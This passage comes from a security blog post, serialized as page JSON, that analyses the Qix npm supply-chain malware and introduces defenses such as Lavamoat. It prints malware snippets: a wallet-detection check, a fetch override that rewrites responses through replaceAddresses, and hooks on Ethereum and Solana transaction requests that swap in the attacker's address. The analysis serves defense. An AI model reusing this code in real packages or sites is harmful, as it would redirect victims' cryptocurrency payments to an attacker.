important resources such as cookies and the network stack.",{"type":23,"tag":24,"props":97346,"children":97347},{},[97348],{"type":28,"value":97349},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":47,"props":97351,"children":97353},{"id":97352},"qix-malware-how-it-worked",[97354],{"type":28,"value":97355},"Qix Malware: How It Worked",{"type":23,"tag":24,"props":97357,"children":97358},{},[97359],{"type":28,"value":97360},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":131,"props":97362,"children":97363},{},[97364],{"type":23,"tag":135,"props":97365,"children":97366},{},[97367],{"type":28,"value":97368},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":202,"props":97370,"children":97372},{"code":97371,"language":31421,"meta":7,"className":31419,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[97373],{"type":23,"tag":209,"props":97374,"children":97375},{"__ignoreMap":7},[97376,97396,97408,97452,97469,97476,97512,97524,97552,97572,97592,97604,97611,97646,97666,97678,97685,97692],{"type":23,"tag":213,"props":97377,"children":97378},{"class":215,"line":216},[97379,97383,97387,97392],{"type":23,"tag":213,"props":97380,"children":97381},{"style":230},[97382],{"type":28,"value":36203},{"type":23,"tag":213,"props":97384,"children":97385},{"style":230},[97386],{"type":28,"value":38271},{"type":23,"tag":213,"props":97388,"children":97389},{"style":257},[97390],{"type":28,"value":97391}," checkethereumw",{"type":23,"tag":213,"props":97393,"children":97394},{"style":220},[97395],{"type":28,"value":15791},{"type":23,"tag":213,"props":97397,"children":97398},{"class":215,"line":226},[97399,97404],{"type":23,"tag":213,"props":97400,"children":97401},{"style":1362},[97402],{"type":28,"value":97403}," try",{"type":23,"tag":213,"props":97405,"children":97406},{"style":220},[97407],{"type":28,"value":1375},{"type":23,"tag":213,"props":97409,"children":97410},{"class":215,"line":524},[97411,97415,97420,97424,97428,97432,97436,97440,97444,97448],{"type":23,"tag":213,"props":97412,"children":97413},{"style":230},[97414],{"type":28,"value":51721},{"type":23,"tag":213,"props":97416,"children":97417},{"style":268},[97418],{"type":28,"value":97419}," _0x124ed3",{"type":23,"tag":213,"props":97421,"children":97422},{"style":274},[97423],{"type":28,"value":511},{"type":23,"tag":213,"props":97425,"children":97426},{"style":1362},[97427],{"type":28,"value":36269},{"type":23,"tag":213,"props":97429,"children":97430},{"style":268},[97431],{"type":28,"value":31464},{"type":23,"tag":213,"props":97433,"children":97434},{"style":220},[97435],{"type":28,"value":124},{"type":23,"tag":213,"props":97437,"children":97438},{"style":268},[97439],{"type":28,"value":31473},{"type":23,"tag":213,"props":97441,"children":97442},{"style":220},[97443],{"type":28,"value":124},{"type":23,"tag":213,"props":97445,"children":97446},{"style":257},[97447],{"type":28,"value":31549},{"type":23,"tag":213,"props":97449,"children":97450},{"style":220},[97451],{"type":28,"value":15199},{"type":23,"tag":213,"props":97453,"children":97454},{"class":215,"line":533},[97455,97460,97464],{"type":23,"tag":213,"props":97456,"children":97457},{"style":246},[97458],{"type":28,"value":97459}," 'method'",{"type":23,"tag":213,"props":97461,"children":97462},{"style":268},[97463],{"type":28,"value":277},{"type":23,"tag":213,"props":97465,"children":97466},{"style":246},[97467],{"type":28,"value":97468}," \"eth_accounts\"\n",{"type":23,"tag":213,"props":97470,"children":97471},{"class":215,"line":543},[97472],{"type":23,"tag":213,"props":97473,"children":97474},{"style":220},[97475],{"type":28,"value":32312},{"type":23,"tag":213,"props":97477,"children":97478},{"class":215,"line":551},[97479,97483,97487,97492,97496,97500,97504,97508],{"type":23,"tag":213,"props":97480,"children":97481},{"style":1362},[97482],{"type":28,"value":2653},{"type":23,"tag":213,"props":97484,"children":97485},{"style":220},[97486],{"type":28,"value":400},{"type":23,"tag":213,"props":97488,"children":97489},{"style":268},[97490],{"type":28,"value":97491},"_0x124ed3",{"type":23,"tag":213,"props":97493,"children":97494},{"style":220},[97495],{"type":28,"value":124},{"type":23,"tag":213,"props":97497,"children":97498},{"style":268},[97499],{"type":28,"value":8588},{"type":23,"tag":213,"props":97501,"children":97502},{"style":274},[97503],{"type":28,"value":14268},{"type":23,"tag":213,"props":97505,"children":97506},{"style":514},[97507],{"type":28,"value":517},{"type":23,"tag":213,"props":97509,"children":97510},{"style":220},[97511],{"type":28,"value":14870},{"type":23,"tag":213,"props":97513,"children":97514},{"class":215,"line":570},[97515,97520],{"type":23,"tag":213,"props":97516,"children":97517},{"style":257},[97518],{"type":28,"value":97519}," runmask",{"type":23,"tag":213,"props":97521,"children":97522},{"style":220},[97523],{"type":28,"value":3759},{"type":23,"tag":213,"props":97525,"children":97526},{"class":215,"line":655},[97527,97531,97535,97540,97544,97548],{"type":23,"tag":213,"props":97528,"children":97529},{"style":1362},[97530],{"type":28,"value":39344},{"type":23,"tag":213,"props":97532,"children":97533},{"style":220},[97534],{"type":28,"value":400},{"type":23,"tag":213,"props":97536,"children":97537},{"style":268},[97538],{"type":28,"value":97539},"rund",{"type":23,"tag":213,"props":97541,"children":97542},{"style":274},[97543],{"type":28,"value":64440},{"type":23,"tag":213,"props":97545,"children":97546},{"style":514},[97547],{"type":28,"value":4618},{"type":23,"tag":213,"props":97549,"children":97550},{"style":220},[97551],{"type":28,"value":14870},{"type":23,"tag":213,"props":97553,"children":97554},{"class":215,"line":1176},[97555,97560,97564,97568],{"type":23,"tag":213,"props":97556,"children":97557},{"style":268},[97558],{"type":28,"value":97559}," rund",{"type":23,"tag":213,"props":97561,"children":97562},{"style":274},[97563],{"type":28,"value":511},{"type":23,"tag":213,"props":97565,"children":97566},{"style":514},[97567],{"type":28,"value":4618},{"type":23,"tag":213,"props":97569,"children":97570},{"style":220},[97571],{"type":28,"value":313},{"type":23,"tag":213,"props":97573,"children":97574},{"class":215,"line":1202},[97575,97580,97584,97588],{"type":23,"tag":213,"props":97576,"children":97577},{"style":268},[97578],{"type":28,"value":97579}," neth",{"type":23,"tag":213,"props":97581,"children":97582},{"style":274},[97583],{"type":28,"value":511},{"type":23,"tag":213,"props":97585,"children":97586},{"style":514},[97587],{"type":28,"value":4618},{"type":23,"tag":213,"props":97589,"children":97590},{"style":220},[97591],{"type":28,"value":313},{"type":23,"tag":213,"props":97593,"children":97594},{"class":215,"line":1758},[97595,97600],{"type":23,"tag":213,"props":97596,"children":97597},{"style":257},[97598],{"type":28,"value":97599}," newdlocal",{"type":23,"tag":213,"props":97601,"children":97602},{"style":220},[97603],{"type":28,"value":3759},{"type":23,"tag":213,"props":97605,"children":97606},{"class":215,"line":1767},[97607],{"type":23,"tag":213,"props":97608,"children":97609},{"style":220},[97610],{"type":28,"value":12746},{"type":23,"tag":213,"props":97612,"children":97613},{"class":215,"line":1789},[97614,97618,97622,97626,97630,97634,97638,97642],{"type":23,"tag":213,"props":97615,"children":97616},{"style":220},[97617],{"type":28,"value":1440},{"type":23,"tag":213,"props":97619,"children":97620},{"style":1362},[97621],{"type":28,"value":3412},{"type":23,"tag":213,"props":97623,"children":97624},{"style":1362},[97625],{"type":28,"value":15839},{"type":23,"tag":213,"props":97627,"children":97628},{"style":220},[97629],{"type":28,"value":400},{"type":23,"tag":213,"props":97631,"children":97632},{"style":268},[97633],{"type":28,"value":97539},{"type":23,"tag":213,"props":97635,"children":97636},{"style":274},[97637],{"type":28,"value":64440},{"type":23,"tag":213,"props":97639,"children":97640},{"style":514},[97641],{"type":28,"value":4618},{"type":23,"tag":213,"props":97643,"children":97644},{"style":220},[97645],{"type":28,"value":14870},{"type":23,"tag":213,"props":97647,"children":97648},{"class":215,"line":1812},[97649,97654,97658,97662],{"type":23,"tag":213,"props":97650,"children":97651},{"style":268},[97652],{"type":28,"value":97653}," rund",{"type":23,"tag":213,"props":97655,"children":97656},{"style":274},[97657],{"type":28,"value":511},{"type":23,"tag":213,"props":97659,"children":97660},{"style":514},[97661],{"type":28,"value":4618},{"type":23,"tag":213,"props":97663,"children":97664},{"style":220},[97665],{"type":28,"value":313},{"type":23,"tag":213,"props":97667,"children":97668},{"class":215,"line":1838},[97669,97674],{"type":23,"tag":213,"props":97670,"children":97671},{"style":257},[97672],{"type":28,"value":97673}," newdlocal",{"type":23,"tag":213,"props":97675,"children":97676},{"style":220},[97677],{"type":28,"value":3759},{"type":23,"tag":213,"props":97679,"children":97680},{"class":215,"line":1851},[97681],{"type":23,"tag":213,"props":97682,"children":97683},{"style":220},[97684],{"type":28,"value":2875},{"type":23,"tag":213,"props":97686,"children":97687},{"class":215,"line":1864},[97688],{"type":23,"tag":213,"props":97689,"children":97690},{"style":220},[97691],{"type":28,"value":5964},{"type":23,"tag":213,"props":97693,"children":97694},{"class":215,"line":1890},[97695],{"type":23,"tag":213,"props":97696,"children":97697},{"style":220},[97698],{"type":28,"value":1208},{"type":23,"tag":131,"props":97700,"children":97701},{"start":226},[97702],{"type":23,"tag":135,"props":97703,"children":97704},{},[97705],{"type":28,"value":97706},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":202,"props":97708,"children":97710},{"code":97709,"language":31421,"meta":7,"className":31419,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[97711],{"type":23,"tag":209,"props":97712,"children":97713},{"__ignoreMap":7},[97714,97749,97806,97868,97883,97920,97959,97974,98013,98020,98053,98069,98128,98166,98191,98216,98240,98248,98263],{"type":23,"tag":213,"props":97715,"children":97716},{"class":215,"line":216},[97717,97721,97725,97729,97733,97737,97741,97745],{"type":23,"tag":213,"props":97718,"children":97719},{"style":257},[97720],{"type":28,"value":34151},{"type":23,"tag":213,"props":97722,"children":97723},{"style":274},[97724],{"type":28,"value":511},{"type":23,"tag":213,"props":97726,"children":97727},{"style":230},[97728],{"type":28,"value":36423},{"type":23,"tag":213,"props":97730,"children":97731},{"style":230},[97732],{"type":28,"value":38271},{"type":23,"tag":213,"props":97734,"children":97735},{"style":220},[97736],{"type":28,"value":400},{"type":23,"tag":213,"props":97738,"children":97739},{"style":274},[97740],{"type":28,"value":9675},{"type":23,"tag":213,"props":97742,"children":97743},{"style":268},[97744],{"type":28,"value":38285},{"type":23,"tag":213,"props":97746,"children":97747},{"style":220},[97748],{"type":28,"value":14870},{"type":23,"tag":213,"props":97750,"children":97751},{"class":215,"line":226},[97752,97756,97761,97765,97769,97774,97778,97782,97786,97790,97794,97798,97802],{"type":23,"tag":213,"props":97753,"children":97754},{"style":230},[97755],{"type":28,"value":36246},{"type":23,"tag":213,"props":97757,"children":97758},{"style":268},[97759],{"type":28,"value":97760}," originalResponse",{"type":23,"tag":213,"props":97762,"children":97763},{"style":274},[97764],{"type":28,"value":511},{"type":23,"tag":213,"props":97766,"children":97767},{"style":1362},[97768],{"type":28,"value":36269},{"type":23,"tag":213,"props":97770,"children":97771},{"style":268},[97772],{"type":28,"value":97773}," originalFetch",{"type":23,"tag":213,"props":97775,"children":97776},{"style":220},[97777],{"type":28,"value":124},{"type":23,"tag":213,"props":97779,"children":97780},{"style":257},[97781],{"type":28,"value":38353},{"type":23,"tag":213,"props":97783,"children":97784},{"style":220},[97785],{"type":28,"value":265},{"type":23,"tag":213,"props":97787,"children":97788},{"style":230},[97789],{"type":28,"value":17743},{"type":23,"tag":213,"props":97791,"children":97792},{"style":220},[97793],{"type":28,"value":424},{"type":23,"tag":213,"props":97795,"children":97796},{"style":274},[97797],{"type":28,"value":9675},{"type":23,"tag":213,"props":97799,"children":97800},{"style":268},[97801],{"type":28,"value":38285},{"type":23,"tag":213,"props":97803,"children":97804},{"style":220},[97805],{"type":28,"value":2867},{"type":23,"tag":213,"props":97807,"children":97808},{"class":215,"line":524},[97809,97813,97818,97822,97826,97830,97835,97839,97843,97847,97852,97856,97860,97864],{"type":23,"tag":213,"props":97810,"children":97811},{"style":230},[97812],{"type":28,"value":36246},{"type":23,"tag":213,"props":97814,"children":97815},{"style":268},[97816],{"type":28,"value":97817}," contentType",{"type":23,"tag":213,"props":97819,"children":97820},{"style":274},[97821],{"type":28,"value":511},{"type":23,"tag":213,"props":97823,"children":97824},{"style":268},[97825],{"type":28,"value":97760},{"type":23,"tag":213,"props":97827,"children":97828},{"style":220},[97829],{"type":28,"value":124},{"type":23,"tag":213,"props":97831,"children":97832},{"style":268},[97833],{"type":28,"value":97834},"headers",{"type":23,"tag":213,"props":97836,"children":97837},{"style":220},[97838],{"type":28,"value":124},{"type":23,"tag":213,"props":97840,"children":97841},{"style":257},[97842],{"type":28,"value":16403},{"type":23,"tag":213,"props":97844,"children":97845},{"style":220},[97846],{"type":28,"value":265},{"type":23,"tag":213,"props":97848,"children":97849},{"style":246},[97850],{"type":28,"value":97851},"'Content-Type'",{"type":23,"tag":213,"props":97853,"children":97854},{"style":220},[97855],{"type":28,"value":298},{"type":23,"tag":213,"props":97857,"children":97858},{"style":274},[97859],{"type":28,"value":22468},{"type":23,"tag":213,"props":97861,"children":97862},{"style":246},[97863],{"type":28,"value":31895},{"type":23,"tag":213,"props":97865,"children":97866},{"style":220},[97867],{"type":28,"value":313},{"type":23,"tag":213,"props":97869,"children":97870},{"class":215,"line":533},[97871,97875,97879],{"type":23,"tag":213,"props":97872,"children":97873},{"style":230},[97874],{"type":28,"value":7943},{"type":23,"tag":213,"props":97876,"children":97877},{"style":268},[97878],{"type":28,"value":1064},{"type":23,"tag":213,"props":97880,"children":97881},{"style":220},[97882],{"type":28,"value":313},{"type":23,"tag":213,"props":97884,"children":97885},{"class":215,"line":543},[97886,97890,97894,97899,97903,97907,97911,97916],{"type":23,"tag":213,"props":97887,"children":97888},{"style":1362},[97889],{"type":28,"value":31450},{"type":23,"tag":213,"props":97891,"children":97892},{"style":220},[97893],{"type":28,"value":400},{"type":23,"tag":213,"props":97895,"children":97896},{"style":268},[97897],{"type":28,"value":97898},"contentType",{"type":23,"tag":213,"props":97900,"children":97901},{"style":220},[97902],{"type":28,"value":124},{"type":23,"tag":213,"props":97904,"children":97905},{"style":257},[97906],{"type":28,"value":35238},{"type":23,"tag":213,"props":97908,"children":97909},{"style":220},[97910],{"type":28,"value":265},{"type":23,"tag":213,"props":97912,"children":97913},{"style":246},[97914],{"type":28,"value":97915},"'application/json'",{"type":23,"tag":213,"props":97917,"children":97918},{"style":220},[97919],{"type":28,"value":35251},{"type":23,"tag":213,"props":97921,"children":97922},{"class":215,"line":551},[97923,97927,97931,97935,97939,97943,97947,97951,97955],{"type":23,"tag":213,"props":97924,"children":97925},{"style":268},[97926],{"type":28,"value":43288},{"type":23,"tag":213,"props":97928,"children":97929},{"style":274},[97930],{"type":28,"value":511},{"type":23,"tag":213,"props":97932,"children":97933},{"style":1362},[97934],{"type":28,"value":36269},{"type":23,"tag":213,"props":97936,"children":97937},{"style":268},[97938],{"type":28,"value":97760},{"type":23,"tag":213,"props":97940,"children":97941},{"style":220},[97942],{"type":28,"value":124},{"type":23,"tag":213,"props":97944,"children":97945},{"style":257},[97946],{"type":28,"value":15479},{"type":23,"tag":213,"props":97948,"children":97949},{"style":220},[97950],{"type":28,"value":30223},{"type":23,"tag":213,"props":97952,"children":97953},{"style":257},[97954],{"type":28,"value":34054},{"type":23,"tag":213,"props":97956,"children":97957},{"style":220},[97958],{"type":28,"value":3759},{"type":23,"tag":213,"props":97960,"children":97961},{"class":215,"line":570},[97962,97966,97970],{"type":23,"tag":213,"props":97963,"children":97964},{"style":220},[97965],{"type":28,"value":31524},{"type":23,"tag":213,"props":97967,"children":97968},{"style":1362},[97969],{"type":28,"value":3412},{"type":23,"tag":213,"props":97971,"children":97972},{"style":220},[97973],{"type":28,"value":1375},{"type":23,"tag":213,"props":97975,"children":97976},{"class":215,"line":655},[97977,97981,97985,97989,97993,97997,98001,98005,98009],{"type":23,"tag":213,"props":97978,"children":97979},{"style":268},[97980],{"type":28,"value":43288},{"type":23,"tag":213,"props":97982,"children":97983},{"style":274},[97984],{"type":28,"value":511},{"type":23,"tag":213,"props":97986,"children":97987},{"style":1362},[97988],{"type":28,"value":36269},{"type":23,"tag":213,"props":97990,"children":97991},{"style":268},[97992],{"type":28,"value":97760},{"type":23,"tag":213,"props":97994,"children":97995},{"style":220},[97996],{"type":28,"value":124},{"type":23,"tag":213,"props":97998,"children":97999},{"style":257},[98000],{"type":28,"value":15479},{"type":23,"tag":213,"props":98002,"children":98003},{"style":220},[98004],{"type":28,"value":30223},{"type":23,"tag":213,"props":98006,"children":98007},{"style":257},[98008],{"type":28,"value":28},{"type":23,"tag":213,"props":98010,"children":98011},{"style":220},[98012],{"type":28,"value":3759},{"type":23,"tag":213,"props":98014,"children":98015},{"class":215,"line":1176},[98016],{"type":23,"tag":213,"props":98017,"children":98018},{"style":220},[98019],{"type":28,"value":5964},{"type":23,"tag":213,"props":98021,"children":98022},{"class":215,"line":1202},[98023,98027,98032,98036,98041,98045,98049],{"type":23,"tag":213,"props":98024,"children":98025},{"style":230},[98026],{"type":28,"value":36246},{"type":23,"tag":213,"props":98028,"children":98029},{"style":268},[98030],{"type":28,"value":98031}," processedData",{"type":23,"tag":213,"props":98033,"children":98034},{"style":274},[98035],{"type":28,"value":511},{"type":23,"tag":213,"props":98037,"children":98038},{"style":257},[98039],{"type":28,"value":98040}," replaceAddresses",{"type":23,"tag":213,"props":98042,"children":98043},{"style":220},[98044],{"type":28,"value":265},{"type":23,"tag":213,"props":98046,"children":98047},{"style":268},[98048],{"type":28,"value":3791},{"type":23,"tag":213,"props":98050,"children":98051},{"style":220},[98052],{"type":28,"value":2867},{"type":23,"tag":213,"props":98054,"children":98055},{"class":215,"line":1758},[98056,98060,98065],{"type":23,"tag":213,"props":98057,"children":98058},{"style":230},[98059],{"type":28,"value":36246},{"type":23,"tag":213,"props":98061,"children":98062},{"style":268},[98063],{"type":28,"value":98064}," finalResponseText",{"type":23,"tag":213,"props":98066,"children":98067},{"style":274},[98068],{"type":28,"value":35913},{"type":23,"tag":213,"props":98070,"children":98071},{"class":215,"line":1767},[98072,98077,98081,98085,98090,98095,98099,98103,98107,98111,98115,98119,98124],{"type":23,"tag":213,"props":98073,"children":98074},{"style":230},[98075],{"type":28,"value":98076}," typeof",{"type":23,"tag":213,"props":98078,"children":98079},{"style":268},[98080],{"type":28,"value":98031},{"type":23,"tag":213,"props":98082,"children":98083},{"style":274},[98084],{"type":28,"value":31478},{"type":23,"tag":213,"props":98086,"children":98087},{"style":246},[98088],{"type":28,"value":98089}," 'string'",{"type":23,"tag":213,"props":98091,"children":98092},{"style":274},[98093],{"type":28,"value":98094}," ?",{"type":23,"tag":213,"props":98096,"children":98097},{"style":268},[98098],{"type":28,"value":98031},{"type":23,"tag":213,"props":98100,"children":98101},{"style":274},[98102],{"type":28,"value":35173},{"type":23,"tag":213,"props":98104,"children":98105},{"style":268},[98106],{"type":28,"value":37586},{"type":23,"tag":213,"props":98108,"children":98109},{"style":220},[98110],{"type":28,"value":124},{"type":23,"tag":213,"props":98112,"children":98113},{"style":257},[98114],{"type":28,"value":39290},{"type":23,"tag":213,"props":98116,"children":98117},{"style":220},[98118],{"type":28,"value":265},{"type":23,"tag":213,"props":98120,"children":98121},{"style":268},[98122],{"type":28,"value":98123},"processedData",{"type":23,"tag":213,"props":98125,"children":98126},{"style":220},[98127],{"type":28,"value":2867},{"type":23,"tag":213,"props":98129,"children":98130},{"class":215,"line":1789},[98131,98135,98140,98144,98148,98153,98157,98162],{"type":23,"tag":213,"props":98132,"children":98133},{"style":230},[98134],{"type":28,"value":36246},{"type":23,"tag":213,"props":98136,"children":98137},{"style":268},[98138],{"type":28,"value":98139}," finalResponse",{"type":23,"tag":213,"props":98141,"children":98142},{"style":274},[98143],{"type":28,"value":511},{"type":23,"tag":213,"props":98145,"children":98146},{"style":230},[98147],{"type":28,"value":31989},{"type":23,"tag":213,"props":98149,"children":98150},{"style":257},[98151],{"type":28,"value":98152}," Response",{"type":23,"tag":213,"props":98154,"children":98155},{"style":220},[98156],{"type":28,"value":265},{"type":23,"tag":213,"props":98158,"children":98159},{"style":268},[98160],{"type":28,"value":98161},"finalResponseText",{"type":23,"tag":213,"props":98163,"children":98164},{"style":220},[98165],{"type":28,"value":48934},{"type":23,"tag":213,"props":98167,"children":98168},{"class":215,"line":1812},[98169,98174,98178,98182,98187],{"type":23,"tag":213,"props":98170,"children":98171},{"style":268},[98172],{"type":28,"value":98173}," status:",{"type":23,"tag":213,"props":98175,"children":98176},{"style":268},[98177],{"type":28,"value":97760},{"type":23,"tag":213,"props":98179,"children":98180},{"style":220},[98181],{"type":28,"value":124},{"type":23,"tag":213,"props":98183,"children":98184},{"style":268},[98185],{"type":28,"value":98186},"status",{"type":23,"tag":213,"props":98188,"children":98189},{"style":220},[98190],{"type":28,"value":944},{"type":23,"tag":213,"props":98192,"children":98193},{"class":215,"line":1838},[98194,98199,98203,98207,98212],{"type":23,"tag":213,"props":98195,"children":98196},{"style":268},[98197],{"type":28,"value":98198}," statusText:",{"type":23,"tag":213,"props":98200,"children":98201},{"style":268},[98202],{"type":28,"value":97760},{"type":23,"tag":213,"props":98204,"children":98205},{"style":220},[98206],{"type":28,"value":124},{"type":23,"tag":213,"props":98208,"children":98209},{"style":268},[98210],{"type":28,"value":98211},"statusText",{"type":23,"tag":213,"props":98213,"children":98214},{"style":220},[98215],{"type":28,"value":944},{"type":23,"tag":213,"props":98217,"children":98218},{"class":215,"line":1851},[98219,98224,98228,98232,98236],{"type":23,"tag":213,"props":98220,"children":98221},{"style":268},[98222],{"type":28,"value":98223}," headers:",{"type":23,"tag":213,"props":98225,"children":98226},{"style":268},[98227],{"type":28,"value":97760},{"type":23,"tag":213,"props":98229,"children":98230},{"style":220},[98231],{"type":28,"value":124},{"type":23,"tag":213,"props":98233,"children":98234},{"style":268},[98235],{"type":28,"value":97834},{"type":23,"tag":213,"props":98237,"children":98238},{"style":220},[98239],{"type":28,"value":944},{"type":23,"tag":213,"props":98241,"children":98242},{"class":215,"line":1864},[98243],{"type":23,"tag":213,"props":98244,"children":98245},{"style":220},[98246],{"type":28,"value":98247}," });\n",{"type":23,"tag":213,"props":98249,"children":98250},{"class":215,"line":1890},[98251,98255,98259],{"type":23,"tag":213,"props":98252,"children":98253},{"style":1362},[98254],{"type":28,"value":39256},{"type":23,"tag":213,"props":98256,"children":98257},{"style":268},[98258],{"type":28,"value":98139},{"type":23,"tag":213,"props":98260,"children":98261},{"style":220},[98262],{"type":28,"value":313},{"type":23,"tag":213,"props":98264,"children":98265},{"class":215,"line":1899},[98266],{"type":23,"tag":213,"props":98267,"children":98268},{"style":220},[98269],{"type":28,"value":16629},{"type":23,"tag":131,"props":98271,"children":98272},{"start":524},[98273],{"type":23,"tag":135,"props":98274,"children":98275},{},[98276],{"type":28,"value":98277},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":202,"props":98279,"children":98281},{"code":98280,"language":31421,"meta":7,"className":31419,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[98282],{"type":23,"tag":209,"props":98283,"children":98284},{"__ignoreMap":7},[98285,98364,98375,98432,98472,98497,98512,98523,98557,98590,98609,98636,98644,98655,98695,98724,98752,98759,98799,98842,98886,98901,98940,98947,98971,98978],{"type":23,"tag":213,"props":98286,"children":98287},{"class":215,"line":216},[98288,98292,98296,98301,98305,98309,98313,98318,98322,98327,98331,98336,98340,98344,98348,98352,98356,98360],{"type":23,"tag":213,"props":98289,"children":98290},{"style":1362},[98291],{"type":28,"value":15637},{"type":23,"tag":213,"props":98293,"children":98294},{"style":220},[98295],{"type":28,"value":400},{"type":23,"tag":213,"props":98297,"children":98298},{"style":268},[98299],{"type":28,"value":98300},"_0x2c3d7e",{"type":23,"tag":213,"props":98302,"children":98303},{"style":220},[98304],{"type":28,"value":124},{"type":23,"tag":213,"props":98306,"children":98307},{"style":268},[98308],{"type":28,"value":38370},{"type":23,"tag":213,"props":98310,"children":98311},{"style":274},[98312],{"type":28,"value":31478},{"type":23,"tag":213,"props":98314,"children":98315},{"style":246},[98316],{"type":28,"value":98317}," 'eth_sendTransaction'",{"type":23,"tag":213,"props":98319,"children":98320},{"style":274},[98321],{"type":28,"value":14259},{"type":23,"tag":213,"props":98323,"children":98324},{"style":268},[98325],{"type":28,"value":98326}," _0x2c3d7e",{"type":23,"tag":213,"props":98328,"children":98329},{"style":220},[98330],{"type":28,"value":124},{"type":23,"tag":213,"props":98332,"children":98333},{"style":268},[98334],{"type":28,"value":98335},"params",{"type":23,"tag":213,"props":98337,"children":98338},{"style":274},[98339],{"type":28,"value":14259},{"type":23,"tag":213,"props":98341,"children":98342},{"style":268},[98343],{"type":28,"value":98326},{"type":23,"tag":213,"props":98345,"children":98346},{"style":220},[98347],{"type":28,"value":124},{"type":23,"tag":213,"props":98349,"children":98350},{"style":268},[98351],{"type":28,"value":98335},{"type":23,"tag":213,"props":98353,"children":98354},{"style":220},[98355],{"type":28,"value":3821},{"type":23,"tag":213,"props":98357,"children":98358},{"style":514},[98359],{"type":28,"value":4116},{"type":23,"tag":213,"props":98361,"children":98362},{"style":220},[98363],{"type":28,"value":479},{"type":23,"tag":213,"props":98365,"children":98366},{"class":215,"line":226},[98367,98371],{"type":23,"tag":213,"props":98368,"children":98369},{"style":1362},[98370],{"type":28,"value":97403},{"type":23,"tag":213,"props":98372,"children":98373},{"style":220},[98374],{"type":28,"value":1375},{"type":23,"tag":213,"props":98376,"children":98377},{"class":215,"line":524},[98378,98382,98387,98391,98396,98400,98404,98408,98412,98416,98420,98424,98428],{"type":23,"tag":213,"props":98379,"children":98380},{"style":230},[98381],{"type":28,"value":51721},{"type":23,"tag":213,"props":98383,"children":98384},{"style":268},[98385],{"type":28,"value":98386}," _0x39ad21",{"type":23,"tag":213,"props":98388,"children":98389},{"style":274},[98390],{"type":28,"value":511},{"type":23,"tag":213,"props":98392,"children":98393},{"style":257},[98394],{"type":28,"value":98395}," _0x1089ae",{"type":23,"tag":213,"props":98397,"children":98398},{"style":220},[98399],{"type":28,"value":265},{"type":23,"tag":213,"props":98401,"children":98402},{"style":268},[98403],{"type":28,"value":98300},{"type":23,"tag":213,"props":98405,"children":98406},{"style":220},[98407],{"type":28,"value":124},{"type":23,"tag":213,"props":98409,"children":98410},{"style":268},[98411],{"type":28,"value":98335},{"type":23,"tag":213,"props":98413,"children":98414},{"style":220},[98415],{"type":28,"value":3821},{"type":23,"tag":213,"props":98417,"children":98418},{"style":514},[98419],{"type":28,"value":4116},{"type":23,"tag":213,"props":98421,"children":98422},{"style":220},[98423],{"type":28,"value":23108},{"type":23,"tag":213,"props":98425,"children":98426},{"style":230},[98427],{"type":28,"value":1710},{"type":23,"tag":213,"props":98429,"children":98430},{"style":220},[98431],{"type":28,"value":2867},{"type":23,"tag":213,"props":98433,"children":98434},{"class":215,"line":533},[98435,98440,98444,98448,98452,98456,98460,98464,98468],{"type":23,"tag":213,"props":98436,"children":98437},{"style":268},[98438],{"type":28,"value":98439}," _0x2c3d7e",{"type":23,"tag":213,"props":98441,"children":98442},{"style":220},[98443],{"type":28,"value":124},{"type":23,"tag":213,"props":98445,"children":98446},{"style":268},[98447],{"type":28,"value":98335},{"type":23,"tag":213,"props":98449,"children":98450},{"style":220},[98451],{"type":28,"value":3821},{"type":23,"tag":213,"props":98453,"children":98454},{"style":514},[98455],{"type":28,"value":4116},{"type":23,"tag":213,"props":98457,"children":98458},{"style":220},[98459],{"type":28,"value":8746},{"type":23,"tag":213,"props":98461,"children":98462},{"style":274},[98463],{"type":28,"value":3190},{"type":23,"tag":213,"props":98465,"children":98466},{"style":268},[98467],{"type":28,"value":98386},{"type":23,"tag":213,"props":98469,"children":98470},{"style":220},[98471],{"type":28,"value":313},{"type":23,"tag":213,"props":98473,"children":98474},{"class":215,"line":543},[98475,98479,98483,98487,98492],{"type":23,"tag":213,"props":98476,"children":98477},{"style":220},[98478],{"type":28,"value":31524},{"type":23,"tag":213,"props":98480,"children":98481},{"style":1362},[98482],{"type":28,"value":48463},{"type":23,"tag":213,"props":98484,"children":98485},{"style":220},[98486],{"type":28,"value":400},{"type":23,"tag":213,"props":98488,"children":98489},{"style":268},[98490],{"type":28,"value":98491},"_0x